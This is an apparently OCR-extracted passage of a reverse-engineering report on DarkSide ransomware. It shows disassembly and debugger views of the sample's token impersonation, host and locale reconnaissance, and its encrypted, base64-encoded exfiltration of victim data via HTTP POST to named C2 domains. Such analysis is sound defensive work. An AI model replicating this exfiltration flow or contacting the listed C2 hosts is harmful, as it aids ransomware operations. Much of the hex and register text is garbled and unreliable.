Ltext:Be8488A57 jz short loc_ 483463

Figure 80

[l s 55

LLewt 88488459 cmp eax, 2
.text:88488A5C jz short loc_4BEBAGR3

ol s 5

Ltext:88488A5E cmp eax, 4
.text:ea488861 jnz short loc_48B8ACO

LI
The GetDiskFreeSpaceExW function is used to retrieve information about the targeted

drives, such as the total amount of space and the total amount of free space:

S0 ush eax
8D 45 F8 ea eax,dword ptr ss:febp-5j xB87Statusword 0000
50 push eax XBTSW_B O x875W.C3 O x875W.C2 O
6\»\ 00 push 0O X875W_C1 0 x87 S\\'_CD 0 xB7SW_ES O
; [ A — k S
7 iskFr eExXW> | T
- FF 15 70 07 42 00 ca’ rd ptr dsi[<4GetDiskFreeSpaceExws] > D!mm” Al w |[5 &0 unk
ﬁnrf ptr [00420770 <darkside.&GetDiskereespaceExws]=<kernel3z, GetD1skFreaspacesxn> R :::an;;ggg\got't.\\
33 Eesbfﬁi 045CEFOC
. 4: [esp+C] 0D45CFFO4
. text:00408A6E darkside.exe: SBAGE #7EGE ||s: [esp+10] 004095AB darkside.004095A8
Woump1  @hDump2  @dDump3  EHDumps  @Dumps @ warchi  ellocals ) Struct e T
Afdr oy - - o - - 045CFEDO | 045CFFOC
N | ~|icrins Discrro

NtDuplicateToken is utilized to duplicate an existing token and to obtain a handle to a new
access token (0xC = TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY
and 0x2 = Tokenlmpersonation):

sl - - AGI IM_ 3 LEWMLY)  AS/IM_3 3 LEmELY)
ol A D2 gﬂsh 2 " XBTTW_6 3 (Empty) XBTTW_7 3 (EmpTy)
- 6A 0O push
L1 BD 45 E4 lea eax,dword ptr ss:[Qebp-1cj KE7sStartusword 0000
LB 50 Dush eax XB7SW_B 0O XB7SW C3 0O xB7sw C2 O
of ¢ 64 OC msw_n o xs?sw_co 0 xB7SW_ES 0
ol- FF 75 Epush dm:rg ptr ss: [ bp+8j = i
g FF 15 m 06 42 00 €& dword prr dsi[<antDuplicateToken> v
o ’ oefamswan v |5 5[] unlock
| >
L — 1: [esp] 00000ZEC
dword ptr [004206A0 <darkside.&NtDuplicateToken>]=<ntd11.NtDuplicateToken> : gspﬂ] 0000000

[esp+C] 00000000

23
| 32 tesn+s 045CFEDD
IEH
15: [esp+l0] 00000002

.text:00401BBE darkside.exe:$1BBE #FBE

4% Dump 1 WS Dump2  §% Dump 3 Woump4  @Moumps @ watch 1 |*=| Locals & struct D45CFEAE nouuooﬁ.g
Address | Hex | asc1z | By |rmia et
027490CS |43 00 3A 00[31 DO 2F 00|37 00 39 00[00 0D AB ABIE.:.1./.7,9.. 48 O4SCFER4 oooooonz

02749008 AB AB AB AS|AB AB 00 00 )0 00 00(00 00 00 00| sesass. . D4ECFEBS | 045CFEES

Figure 82
The thread’s impersonation token is changed via a call to the ZwSetInformationThread
routine, as shown in figure 83 (0x5 = ThreadlmpersonationToken):

. 64 04 push

. 401BCT BD 45 FC 'Iea eax,dword ptr ss:febp- 4] x875tatusword 0000

. 50 push eax X87SW_B O XB7TSW.C3 0 X87SW.C2 O
. xB7SW_C1 0 XB7TSW.CO O XB7TSW_ES O
.

5 | Defaut fstacal) «|[5 2] unlocke

.t: F esp]
esp+4] 00000005

CSDTSt D45CFEES
‘ esp+C] 00000004

-text:00401BCF darkside.exe: $1BCF #FCF |s: [esp+id] 00000DOL
WWoump1  @ouwmp2  @hoump3  @houmps  @oumps @ warch1  Ir-liocals ) stuct D45CFEBO| DDDOODOS
| D45CFEB4 | 045CFEES
P S| e I ~ | osscreas| ooooaeos

Figure 83
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The ransomware retrieves the username associated with the current thread, as well as the
NetBIOS name of the local machine:

XB7SW.C1 0 xB7SW.LO O xB7SW_ES O

045CFF10
8] 00000001
espsC] 0000004F
es5p+10] 00409548 darkside. 00409548

.text:0040886F darkside.exe:$8BGF #TFGF
| #owp: | Houwz @Wous  Wowps  Eoups | @ wethi | bellocks | Stuct
Figure 84

|| DO40BEFE
&l DO4DBBFT7

045CFF10
8] 0D0GO00L

sLEKETO0MIBRRA. darkside. exe; SURFA #7FEA S2be10] 00409348 darkside.004095AB
|ilimm1 Woump2 EWDump3 @4Dumps  EWDumps @ waich1  beellocal P st

Figure 85
The current language of the machine is retrieved from the “LocaleName” value, as presented

below:

push dnord ptr 553 ebp 1c)
:febp-

L] S50 sh eax ;; '\-: ; E;;E;’i ;;7-—- ; E----—-;i
: mAs oo cax dwaril ptr i ficbp S0l X87TW_6 3 (Empty) x87TW_7 3 (Empty)
. 8D 45 F4 Il"‘“ ea: mrd ptr ss:febp<l

. 50 x87Statusword 0000

- 6A 00 push Cl MB7SW_B O XB7SW.C3 0 x87SWC2 ©
- FF 75 E4 NBTSW_C1 O xB7SW.CO O xB7TSW_ES ©
-

.

FF 75 F8

] 02749240 L"LocaleName”
00000000

.Text:D0408CAE darkside. exe: $BCAE #80AE

Woump1  @oump2  $Hoump3  Dump4

Woumps 8 watch 1

nnnnnnnn

Figure 86
NetGetJoinInformation is used to get the join status information for the local computer:

qnsh eax X/ STATUSWOrD UUUD
ea eax,dword ptr s5:[febp-3J XSTSW_B O xBTSW L3 0 x87TSW.C2 O
push eax MB7SW C1 O XB7YSW._CDO O xB7SW_ES 0O

push 0

. TeNt: 00408064 darkside.exe: $58D64 #5164

@oumpi  UNDump2  WHoump3  YDump s

[eelLocals 4 Struct

#4Dump 5

B watch 1

Figre 87

The product name of Windows can be extracted by querying the “ProductName” value and
the Windows product ID can be extracted by querying the “Productld” value, as shown in the
following pictures:

00408000 50 push e = = %ATTW 4 3 Ew"; TR E 3 E“"“'"’i
XB7TTH_4 Ty, X B Empty’
00408DDE 8D 85 &4 FF FF FF Tea eax dnord ptr ss:ffebp-ocl XB7TW. 6 3 (Empty) x87TW 7 3 (i 3

DO040E0E4
xB7Statusword 0000

s
O0408DES 80 45 F4 g"u eax duord ptr ss:febp-Cl
XB7SW_B O x57SW.C3 O X87SW.L2 O

DO408DEB 50 push
MBTSW C1 O xB7SW CD O NB7SW ES O

DO40BDES 6A 00 push
D040BDEB FF 75 E4 push chnrd ptr ss:Qebp-1iC
>[5 {2][] uriock

O0408DEE FF 75 F8 = push MI’H ptr ss:feb p

gQueryval
esprd] 02749240 L-ProductName

esp+8] 00000000
esp+C] D4SCFFOS

.TexT:004080F1 darkside.exe:$8DF1 #81F1 : Lesp+10] O45CFETS

ll!ou-m Uioump2  WHoump3  ULDumps  EDumps mehl

bellocals 7 stuct

045“:{! DD 00 00 00[AS FE SC 0401 00 00 00 |QC FF EC 04 '-i'
D45CFEDS| 40 39 83 73(C6 12 2F C3|FE FF FF FF ,u EE SC 04 es 4. ,”Ebyyy y\

Figure 88
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|

c83

ng

o
N RO

<

75 E4

F8
F4 07 42 00

push
push dword ptr ss:

push dword ptr
| call dword ptr ds:

ebp-1C]
ebp

<8R eghueryvalueExws]

|

AgsIM_& 2 LE

XBTTW_4 3 (Empty)
X87TW_6 3 (Empty)

WRY) A Im_3 3 LEmpLY)
XBFTW_S 3 (EmpTy)

XB7TW_7 3 (Empty)

x87StatuswWord 0000
XETSW_B O XBTSW.C3 0O xB7SW.C2 O

>

| dword ptr [004207F4 <darkside

i32

¥

| - TexT:00408EEE darkside.exe: SBEEE #82EE

¥ Dump 1
| Address | Hex

Dump 2 ¥ Dump 3

&% Dump 4

TueExi>]

%% Dump 5

yval

@ watch 1

=] Locals # Struct

|0275aF 18|57 00
| 0275AF28| 31 o

Figure 89

€9 O

30 00

6E 00 64
20 00 45 O

6E

0| 6F 00 77

00 74 00|65 00 7

7 | Defauit (stdcal)
{5 8

£

EXEEEEE 00000320 |
| D4SCFESD | 02749240 | L"ProductId”
D45CFES4 O

045CFESS | D45CFFOB
D45CFESC | O45CFETS
045CFEGD | D45CFFO4

NBTSW C1 O xB7SW CD 0 xB7SW ES O

v [5 12100 unlod

esp] 00000320

esp+4] 02749240 L"ProductId”
esp+8] 00000000
;esp-c:ﬁUASCFFDE

lesp+10] D45CFETS

The malware constructs the following JSON, which contains data to be exfiltrated to the C2

server

Address

Hex

ASCII

02759DES
02759DF8
02759E08
02759E18
02759E28
02759E38
0D2759E48
D275 9ES S
02759EGS
02759E78
02759E8S
02759E98
02759EASB
02759EBS
0D2759ECS
D275 9EDS
0275 9EES
02759EFS
02759F035
02759F18
02759F28
02759F38
02759F48
0D2759F5 8
02759F68
02759F78
02759F85
02759F95
02759FASB

22 00 &F 00
22 00O &C 0O
65 00 &6E 00
0A 0O 22 00
60 00 &5 0O
22 00 2C 00
74 D0 6E 0O
44 00 45 00

2C 00 OD OO0
69 00 &6E 0O
4B 00 47 00
oD 00 O0A OO0
70 00O 65 00
64 00 &6F 0O
22 00 &F 0O
69 00 &F 00
G6E 00 &4 00
20 00 45 00
69 00 73 00
6F 00 73 0O
3A 00 22 00
0A 00 22 00
3A 00 22 00
22 00 2C 00
3A 00 22 00

oA 00 7D 0O

73
61
20
75
22
oD
61
53

oA
22
52
22
22
7
73
GE
GF
6E
=1
5F
78
&4
43

o0 o0 00D

00
o0
o0
oo
o0

22
GE
55
73
3A
oA

45

00|00 0D 00 00|00 00 00

oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo

7B 000D OO0 0OA
22 00(3A 00 22

22 00(2C 00 0D

68 00(6F OO0 73
22 00(3A 00 22
4F 00 (>0 00 2D
48 00(4F 00 22
6F 00 (6D OO0 &1
57 00(4F 0O 52
50 00(22 00 2C
5F 00|74 OO0 79
77 00|82 00 BE
2C 00 (0D OO0 0A
65 0072 00 73
22 00(57 00 &9
20 00 (31 00 30
72 00(F0 OO F2
oD 00(0A DO 22
63 00|68 00 22
22 00(2C 00
6B 00(73 0O
ZF 0037 00

The final data looks like in the following JSON form:

Address

Hex

B ey
e BTt el 1 B
Ty e | e

LL]

3 =
MW moooom:
m:::?lni

[aR=1_4|

ASCII

Figure 90

02747A30
0Z2747A40
02747ALD
D2747AB0
0Z747A7D
02747ABOD
D2747AS0
027 47AAD
027 47ABOD
D2747ACO
02747ADOD
02747AED
0Z2747AFD
02747B0OO
02747B10
02747B20
02747B30
02747B40

7B
22
69
32

oo
EL)
54
36
7B 0D 0A
22 2C 0D
i S 0 Wi
22 3A 22
48 4F 22
57 4F 52
5F 74 79
2C 0D 0A
22 57 B9
72 70 72
63 68 22 3A
6B 73 22 3A
63 64 22 3A

04
22
22
33

22
3z
34
34
2z
DA
22
44
2C
4B
70
2z
&E
[}

62
2E
22
22
6C
22
2C
45
oD
47
&5
&F
a4
73
22
22
22

&F
31
30
oo
6l
75
oo
53
oA
52
22
73
GF
65
78
43

74
ZE
36
DA
&E
73
DA
4B
22
4F
3A
5F
7
22
36
3A

22
3z
30
7D
&7
(=1
22
54
&4
55
22
7e
73
2C
34
31

7B
33
62
oD
3A
GE

50
&D
22
69
72
31
04
2C
27

0A
2C
33
22
G5
6D

22 76 65

1]
&F
GE
&5
6E

32
73
2D
22
6l

34
22
55
3A
6D

69
oo
64
69
20
GF
04
22

GE
oA
&F
&F
45
73
22
2C

22
22
77
GE
BE
5F
64
o]

3A
&F
73
22
74
61
69
04

72

37
3A
53
22
65

22
73
22
3A
=1
72
73
22

22 0D 0AIFD OD 0OA 7D
The data from above is encrypted by a custom encryption algorithm:

L] vy e
R bttt ]
id":"0e07b338247
ZEIAY Ly st
{.."1ang": "en-us

{..“ver

- - USErname":
', . . "hostname
"1 "DESKTOP-

HO",.."domain"™:"
WORKGROUP™, . ." 05
_type": "windows"
yo o OS_VErsion:
"windows 10 Ente
rprise',.."os_ar
ch”:"x64",.."dis
Rl b e
_#=a= =~ wl

ks
.idlr:ll
...

Figure 91
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push dword ptr ss: +C XBTSW_B O XB7SW.C3 0 XB7SW.CZ O
push dword ptr ss:I:gg* [ebp+8 X87SW_C1 O xB7SW CO O xB7SW_ES O
push 10 0 XB7TSW_U O
sh darkside. 410360 FrAnE e sia
darkside. 405 |- =

esp+4] 00000010

esp+a] 0273BDES “{\r\n\"bot\": {\ri\n\ "ver\":y
esp+C] 00000

esp+rlD] 00409548 darkside.004095A8

.Text:0040921A darkside. exe:$921A #861A

Woump1t  Noump2  EHDump3 8 Dump4

0273BDES
0273BDFB
0273BEOS
0273BE1S
0273BEZ2SB
0273BE3S
0273BE48
0273BELSE
0273BEGS
0273BEYS
0273BESS
0273BE9S
0273BEASB
0273BEBS
0273BECSE
0273BEDS
0273BEES
0273BEFSB

The result of the encryption operation is base64-encoded, as shown below:
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Ltext 80481334 mov eax, 'DCBA'
Jtext:8848133F stosd
Jtext 180840813468 mov eax, 'HGFE'
Jtext 88481345 stosd
Ltext: 80481346 mow edx, 'LKII'
Jtext:88481348 stosd
Ltext: 80481340 mowv eax, 'PONM’
text:004081351 stosd
Ltext 180481352 mov eax, 'TSRQ'
Jtext: 88481357 stosd
Jtext: 808481358 mov eax, 'XWvU'
Ltext:8848135D stosd
Ltext:8048135E mow eax, 'baiy'
.text:e08481363 stosd
Ltext: 80481364 mowv eax, 'fedc'
text:004081369 stosd
Ltext: 8481364 mov eax, 'jihg'
Jtext:8848136F stosd
Jtext: 808481376 mov eax, 'nmlk’
Jtext 88481375 stosd
.text:00481376 mov eax, 'rqpo’
.text:e0481378 stosd .
Ltext:8e848137C mov eax, 'vuts' Flgure 94
text:004081381 stosd
Ltext:8e481382 mov eax, 'zyxw'
Jtext: 88481387 stosd
Jtext: 808481388 mov eax, '3218°
Ltext:8848138D stosd
Ltext:8048138E mowv eax, '7654'
.text:808481393 stosd
Ltext: 88481394 mow eax, '/+98°
text:80481399 stosd
Ltext:8e481394 mov esi, [ebptarg @]
Ltext: 88481390 mov eax, [ebptarg_ 4]
Ltext: 88481348 mov [ebptvar_4], eax
Jtext 80481343 mov edi, [ebptarg_8]
Tdextresdelsss
.text:884013A6 loc_4P13A6:
Ltext:8848134A6 cmp [ebpt+var_4], @
text:8e4e138A jnz short loc_4813AE
Address | Hex ASCII
0273EQES (49 6C 4B 73 (4A 4E 38 4E|30 64 31 FA|67 37 37 SA|I1KsINSNOd1ZgrFZ
0272EOFS(5A 4B 48 7C(78 31 4D 6C |71 75 39 4C|2F 7A 36 4D | ZKHUXIMTquoaL /ZzEemMm
0273E108|57 63 79 73|47 6F 4F 30|77 64 4A &7 |4F 49 76 4C|WCysGoOOwdIgOIwvl
0273E118( 6B 53 6B 72|48 48 45 37|74 4F 6F 53|47 49 6D 48| kSKrHHE7FtOOSGImH
0272E128(31 &C 38 77|53 78 G6& 34|72 72 55 4B|2F 50 4E &38| 118wSxV4rrUK/PNh
0273E138 (47 €4 30 75 (5A 44 &7 4A|48 69 58 37|73 32 38 30| GdOuZDgIHIiXFs280
0273E148(57 50 4A ZB|56 21 59 58|45 68 56 35|48 4C 32 76| WPI+VIYXEhVEHL2V
0273E158| 41 79 2F 44|41 4C 53 6F (74 4F 30 77 (32 46 36 49| Ay/DALSotOOW2FEI
0273E168|51 72 73 53 74|41 7A 4F 4E|58 61 45 55 | QrsS5jkXtAzONXaEU
0272E178(7A 38 34 69|55 62 47 34|4B 39 6B 47|53 21 78 4D | z841UbDG4KIKGSLKM
0273E188|33 78 72 42|42 32 66 59|30 6B 5A 34|63 70 69 FA|3xrBB2fYokz4cpiz
0273E1958( 41 6A 42 GE(G5 4D 75 70|35 68 4C 77|52 4B 73 4E|AjBneMupShLwREsSN
0273E1A8(72 G4 53 70(54 49 G8 62|33 65 24 6C|Z1L 77 73 74| rTSpTIXb2ed4lqgwst
0273E1B8 (57 3 78 76|74 66 71 72|38 54 2F 68|4E 39 56 71|wsxviTqraT/hNovg
0273E1C8 (73 €A 65 43|47 61 71 2F |47 4C 73 4E|53 41 46 77| sjeCGaq/GLSNSAFw
0273E1DS8| 39 64 68 64|32 4B 44 2F (36 71 6C 4D (36 67 6L 68| 97hd2KD/6qIMEglh
0273EL1ES (30 74 39 63|55 4E 73 32|46 34 35 68 |4E 43 4B &F | 0L9CUNSZF48hNCKO
0272E1F8 (48 A 70O 77|34 59 50 4E|63 68 45 51|75 G6A G6E 6A| HZpw4YPMNChEQUJnj
0273E208| 47 GF 56 42 |7A 71 41 48|42 59 71 37|37 51 75 &C|GOVBZQAHBYQ77Qul
0273E218(45 63 46 35|37 31 62 69|32 45 31 4A|6B 43 69 56| ECFS71bi2ELIRCIV
N2PTIIC230 TN LA SO 2L AC 7L LC AD 1 AT €8 LN 31 7TA L4 27 Lol A7 FOrmlDamI=ndn

Figure 95
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The following function is used to generate 2 random 4-byte values that will be utilized in the

network communications. It uses instructions such as RDRAND and RDSEED to generate

random numbers (if these are supported), but we'll provide a deeper understanding of it
when we discuss file encryption (it's also used to generate the Salsa20 matrix):

Y

.text:88484802 sub_464BD2 proc near
text:88484B8D2 push ebx
Ltext:88484BD3 push ecx

Ltext: 08484804 push esi
text:88484BD5 push edi
Jtext:88484BD6 push 1
Jextieede4BDE pop eax

Jtext: 00484809 cpuid

Ldext:00484BDB test ecx, 48008088h
text:88484BEL setnz al
Jtexwt:8ed04BE4 test al, al
.text:80484BE6 jz short loc_484BF8

i i =]

Ltext:eedadBFD
Jtext:eedad4Ces test
Ltext:ee484C82 jz

text:ea484BFe8

setnz

.text:88484BF8 loc 484BF0:
.text:88484BF8 push 7
LtexteededBF2 pop eax
Ltext:@04084BF3 xor BCH, BCX
.text:80484BF5 cpuid
tewt:eededBF7 test ebx, 480680

al
al, al

short loc_4e4cac

il e =

Jtext:eeda4Cal
Jtext:esd4a4CaC
Jtext:esd4a4Cal

Ltext:ee484CBE
Jtext:eed484C10
Ltext:eed4p4013
Ltext:eed4s4C15
Jtext:eed4e4C17
Ltexteed484C1A

loc_4@4C8C:
rdtsc

mov eCcx,
ror ecx,
rdtsc

Mo edx,
rol edx,
mov eax,

eax
@0h

eax
a0h
ecx

B4ABEE rdrand eax LJext:Be484C84 rdseed eax
BABEE rdrand edx Lext 88484087 rdseed edx
B4BEE jmp short loc_484C1C| |.text:80484C848 jmp short loc_484C1C
: YVV
[l el G2
Jtextee484C1C
tewt ARARACIC Toc 4RACIC:
Figure 96

The parameters of the network request have the following structure:
random_number1=base64(encryptionresult)&random_number2=victim_uid:
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Address | Hex ASCIT

0273E5AD| 38 35 62 30|32 31 39 34|30 49 6C 4B|73 4A 4E 25| B5b02194=ITK=INS
0273ESBO| 4E 30 64 31(7A &7 37 37|5A S5A 4B 48|75 78 31 4D | NOd1Zzgr7FZZKHUXIM
0273ESCO(6C 71 75 39(4C 2F 7A 36|4D 57 63 79|73 47 6F 4F| 1quoL/ZeMwWcysGoD
0273ESDO| 30 77 64 4A|67 4F 49 F6(4C 6B 53 6B (72 48 48 45| OwdlgDIvLkSkrHHE
0273ES5EQ| 37 74 4F 6F |53 47 49 6D(48 31 6C 38|77 53 758 56| 7t00oSGIMHLTSwsxV
0273ESF0O( 34 72 72 G5 (4B 2F 50 4E| 68 47 &4 30|75 SA 44 &7 | 4rrUK/PNRGIOUZDg
0273E6G00| 4A 48 69 58|37 73 32 28|30 57 50 4A|2B 56 31 59| JHiX7Fs2B0WPI+VLY
0273E610(58 45 68 56(35 458 4C 32|76 41 79 2F |44 41 4C 53| XEhVSHLZ2vAY /DALS
0272EG20(6F 74 4F 20|77 22 46 36|49 51 72 72|52 6A GB 58| otOOW2FEIOQrsSjkx
0273EG30|74 41 7A 4F|4E 58 61 45|55 7A 38 34|69 55 62 47| tAZONXaEUZ 84iUbG F|gure 97
0273E640| 34 4B 39 6B|47 53 31 75|4D 33 78 72|42 42 32 66| 4K9kGS1xMIXrEEZ2T
0273E650|59 30 6B SA|34 63 70O 69(7A 41 6A 42 (gE g5 4D 7o | ¥OkZ4cpizAjBEneMu
0273E660 |70 35 68 4C |77 52 4B 73 |4E 72 54 53|70 54 49 58| pShLwRKSNrTSpTIX
0273EGF0(62 33 65 34|6C 71 77 73|74 57 532 78|76 74 66 71| bIedlgwstwsxvifg
0273E6GB0|72 38 54 2F (68 4E 39 56|71 73 6A 65 (43 47 &1 71| r8T/hNovgs]jeCGaq
0273E690(2F 47 4C 73 (4E 53 41 46|77 39 6A 68|64 32 4B 44| /GLsNSAFw2jhd2KD
0272EGAD|(2F 36 71 6C (4D 326 &7 GC |68 20 74 39|63 55 4E 73| /eqIMEgThOTICUNS
0273EGBO |32 46 34 38|68 4E 43 4B|6F 48 5A 70|77 34 59 50| 2ZF48hNCKOHZ pwa4YP
0273EGCO|4E 63 68 45|51 75 6A GE|GA 47 6F 56|42 TA 71 41| NChEQUjnjGoOVEZQA
0273E6DO| 48 42 59 71|37 37 £ Fo(6C 45 63 46|35 37 31 62| HEBYQ77QUIECFS71b

O2TICoCAL SO T AL T AA LD AT colce 70 CA SClIC A T Sl 309 Il S1in7FLo Rnn

The InternetOpenW function is called using a user agent decrypted by the malware as a
parameter:

push o x875tatusword 0000

push 0 X87SW_B O XxB87SW_C3 O XxB7TSW.L2 O
Dush 0 XBTSW_C1 O XB7SW.CO O XB7SW_ES O
C X87SW_SF 0 Xx87SW_P 0 XBTSW_U o
puzn dword per s=:fenp 1) R e ee—
call dword ptr ds: c&lnternempem] v o =
5 | Default (stdcal) = |5 13 [ unkd
=t o =y &5 027353E0 L' o NT 6.
dword ptr [004208F4 <darkside.&InternetOpenw>]=<wininet.InternetOpen> 2 :::,,4 00000000 -
3: [esp+8] 00000000
4:
-text:D04092EA darkside.exe: $92EA #BGEA 5:

Poumpl  QYoump2 @Y Dump3 PHOump4 R Dumps

0273£5A0[38 35 62 30]52 3139 34[30 49 6C 8[73 34 5 3888
Figure 98

InternetConnectW is utilized to connect to one of the C2 servers (baroquetees[.Jcom) on port
443:

e 6A 00 h'6 AS/ W 3 \SuRMRY)  AS/Im.3 3 LEWMLY)
6A 00 3:]'5,,‘ y XB7TW_6 3 (Empty) NB7TW_7 3 (Empty)
6A D3 push 3
6A 00 push 0O x875tatusword 0000
6A 00 push O XB7SW_B 0O xB7SW . C3 0O xB7sw. C2 O
68 B8 01 00 00 push 188 X87SW_C1 O X87SW_CO O X87SW_ES 0O
56 push esi esi:lL XB7SW_SF 0 XxB7SW_P 0 xB7SW_U 4]
FF 75 FC ush dword ptr ss:febp-4] e
|3 FF 15 F8 08 42 00 dword ptr ds: -c&Inter‘netconrlecm] w =
| ah i = 5 | Default (stdcal) v |[5 [£]00 unlock
o _ T]m.,, ~
dword ptr [004208F8 <darkside.4&InternetConnectw:]=<wininet.InternetConnectn: [ 2: esgﬂ] 02733918 L"baroquetees.com”
3: esprag OO0DO1BE
4: [es 00000000
. TEXT:00409320 darkside.exe:$3320 #8720 5 ,s,;':in] 00000000
@Woumpt  oump2  WWoump3  @HDumpd  WDumps @B wamhi  ellocals | o Stuct
ASCIT
38 35 3D 49 6C 4B(73 4A 4E 38 SSEE“-I'I KsINB
0273ESBO| 4E 7|5A SA 4B 48|75 T8 31 40| NOd1ZQTTZZKHUXIM
0273E5CO[6C 71 7 4D 57 €3 79|73 47 6F 4F|TqualL/ZEMWCYsSGOO
DZTBESDD 3£| .‘.‘ 4C 6B 53 6B(72 48 48 45 Dﬁd]gﬂlek?erHii

Flgure 99
The process creates an HTTP request handle using the HttpOpenRequestW routine, as
shown in figure 100:

- -- A i o Ly Aus s o Lempey

6A 00 push 0

g L HAIRESS XB7TW_2 3 (Empty) XBTTW_3 3 (Empty)
i B o000 X87TW_4 3 (Empty) X87TW.5 3 (Empry)
A DO push 0 xB7TW_6 3 (Empty) XxB7TW_7 3 (Empty)
BA 00 push 0
8D 45 A2 lea eax,dword ptr ss:[febp-5Efl xB7STatusword 0000
50 ush eax XB7SW_B O XB7SW.C3 0 xB7SW_C2 0
80 45 D2 ea eax,dword ptr ss:febp-zef X87SW_C1 0 XB87SW.CO O xB7SW_ES O
50 push eax XB7SW_SF 0 XB7SW_P 0 xB7SW U 0O
FF 75 F8 ush dword ptr ss:[ebp-s] ey
FF 15 OC 09 42 00 I dword ptr d <4HTTpOpenfequestn>] | L - =
s R Sk 5 Default (stdcal) = [s #]00 unlock
O 71t [esp; 0008
dword ptr [0042090C <darkside.&HTTpOperRequestw>]=<wininet.HtTpOpenRequestw> 2: [esp+4] O45BFF22

esp+8] O45BFEF2
esp+l] 00000000

CE)(‘.' 0040933-‘ darks1 Ue EKE 593&'\ ‘3’3& esp+10] 00000000

Wompi  Pouemp2  oump3 n:nnum4 ¥4 Dump 5 @wmﬁl Tieiiecas| 4?' Struct 045 045BFF22
| Address | Hex ASCIT = mmm 045BFEF2
0273E5AD 62 31 39 34|30 49 &C 4 4A 4E 38 =I1KSING 045BFECC 00000000
0D273ESBO[4E 30 64 31[7A 67 37 37 [SA 5A 4B 4 78 31 4D | NOd1ZQ77ZZKHUXIM O4EBLEDS | DH000060
0273ESCO|6C 71 75 39|4C 2F 7A BG 4D 57 €3 7 47 6F 4F| 1qu9l /z BMWCysGoO (458FED4 DOE0O000
0273E500|30 77 €4 43|67 4F 43 7|4 68 53 68|72 48 48 45|owdigoTvikskrie oesarens| 00000000

Figure 100
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There is also a call to the InternetSetOptionW API that is used to set the security flags for the
handle (Ox1f = INTERNET_OPTION_SECURITY_FLAGS):

. xB7Statusword JJ:JD

. o feo 1 " o o

. o o

. XETSW_SF O xB7SW_P 1] o

. 5 F4 push dword ptr ss:ffe ]l T L) = =
Fg—- FF 15 FC 08 42 00 call dword ptr ds:[<&Internetsetoptionw>] | w

JP T S , | Defaut (stdcal) v |5 (10T unk

[esp] Doccoooc
e p+ -1 0000001F

- . - p— - 1:
dword ptr [004208FC <darkside.&InternetSetOptionw>]=<wininet.InternetSetOptiona:> :
?SD‘-B D458FF30

= = = 4: [espsC] 00000004
-text:004093FF darkside.exe: §93FF #87FF 5: [esp+10] 004095A8 darkside.004095A8

" B i = o 00CC000C
¥% Dump 1 @¥Dump2 % Dump 3 WeDump4 B Dump 5 = Watch1  [x=ILocals §# Struct Fm(HSBFEDO QO00001F

O45BFED4 | O458FF30
Md:f%%.. fgl - = e e [f§11 v = | o 045BFEDE | 00000004

Figure 101
The binary sends the POST request to the C2 server using HttpSendRequestW:

. push & x87Statusword 0000

. 5 EB 3“:. d ptr ss:@ebp-13] [ebp-1 XBTSW_B © XBTSW_C3 0

. X8TSW L1 O xB7TSW_CO 0

. 5 FO 55 : febp-10f XBTSW_SF 0  XBTSW_P 0

[] FF 75 F4 dword ptr s ;E:_-_ ...... a . ;man -
Fg————*= FF 15 10 09 42 00 El:a'n dwr:i ptr ds: [<&HtTpSendhequestws] w

~ REEN - * |5 310 unocke

dword ptr [00420910 <darkside.iHTTpSendRequestw:=]=<wininet.HTTpSEndRequesT= 2750AED L*\rinAccept: */*\r\nConnect"
3: CJD'u 00000063
41 esp—( 0273ESAD "B5b02194=I1KSINENODLZQTTZZKE
«Text: 00409425 darkside.exe:§2425 #8825 5: [esps10] DDDODLA

CWDumpl  guDump2  B%Dump3  GYDumod  GDumpS G0 Wathl  [relLocas Struct 045BFECC 027SMEO L"\r\nAccept: =/*\r\nConnection: keep-alive
TA 045BFEDO | 00000063

QGGEES:J];{? S 62 3032 31 39 343D 49 6C 4B[73 4A AE ::rs?FI,I Sa=1Ts h:[ * | 045BFED4 | 0273E5AD | "85D02194=T1Ks INBNO1Z QT TZZKHUXINTGUSL /Z 6MY
~ma L e B LR R U i 045BFEDS | 000001AE

Figure 102

Figure 103
The status code returned by the server is retrieved using the HttpQuerylnfoW API (0x13 =
HTTP_QUERY_STATUS_CODE):

. 50 Aax

* 8D 45 DC dword ptr ss:febp 1 | x875tatusword 0000

. 50 xB7SW_B 0 xB7SW C3 0 xB7SwW_C2 O
. 14 57 XB7SW_C1 C 0 x87SW_ES5 O
. 6A 13 h 1 XB7SW_S5F 0 XB7SW_P 0 xB7SW_U o
. 3094 FF 75 F4 " dword ptr snmei o o ;s P o

: gebp-c}
dword ptr :I;:E<&nttoquery1nfcm-} | v

FF 15 D8 09 42 00

S Default (stdcall) * |5 1#]0] unlock
= [1: [esp] 00CCODOC

dword ptr [00420208 <darkside.&HTTpQueryInfows]=<wininet.HrTpdueryIntow: 23 Ee.gaa 00000013

E: ta'.JfS 0458FF12

L e;:wc 045BFF2C

«Text: 00409453 darkside.exe:$9453 #8853 §: cs:n-J_J D45BFF30
g i a B & . A 3 - EaE] 00CC000C
SW0ump3  GWDump4d  PRDumps W ko=l Locals # Struct 045BFECC | DDODOOL3

D45BFEDO 0O45BFF12
O458FEDS  045BFF2C
D45BFEDS 045BFF30

Flgure 104

Interestingly, the ransomware doesn’t expect a 200 status code but a 500 (Internal Server
Error). If the status code isn’t 500, then the process repeats the steps described so far using
the second C2 server, rumahsia[.Jcom:
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M=

.text:88489450 cmp word ptr [edi], 35h ; 'S5’
.text:88489461 jnz short loc_ 489473

Ll e 5

text: 88489463 cmp word ptr [edi+2], 38h ; '@’
Ltext: 8489468 jnz short loc_ 489473

1
=

Ltext: 80489464 cmp word ptr [edi+4], 38h ; '@
.text:B848946F jnz short loc_ 489473

RAR.

il s

Jtext:eed4a947i3

Ltext:88489473 loc_489473: sl

text: 88489473 push [ebp+F]

Ltext: 88489476 push @ ; Flags
Ltewt: 88489478 push HeapHandle ; HeapHandle
Ltext:8848047E call RtlFreeHeap

Ltext: 88480434 mov [ebp+P], &

Ltext:88489488 push [ebptvar_C]
Ltext:ead48943E call InternetCloseHandle
Ltext: 88489494 mov [ebptvar_C], @
Stext: 88489498 push [ebpt+var_B8]

Jtext: #8468949E call InternetCloseHandle
Jtext: 88489484 mov [ebptvar_8], @
Ltext: 88480448 jmp loc_48932F

Figure 105

C 6A 00 n o s e = ymepegg e smes = e
ol c 6A 00 g::h y XBTTW_6 3 (Empty) XB7TW_7 3 (Empty)
. 64 03 push 3
. 6A 00 push 0 x87statusword 0000
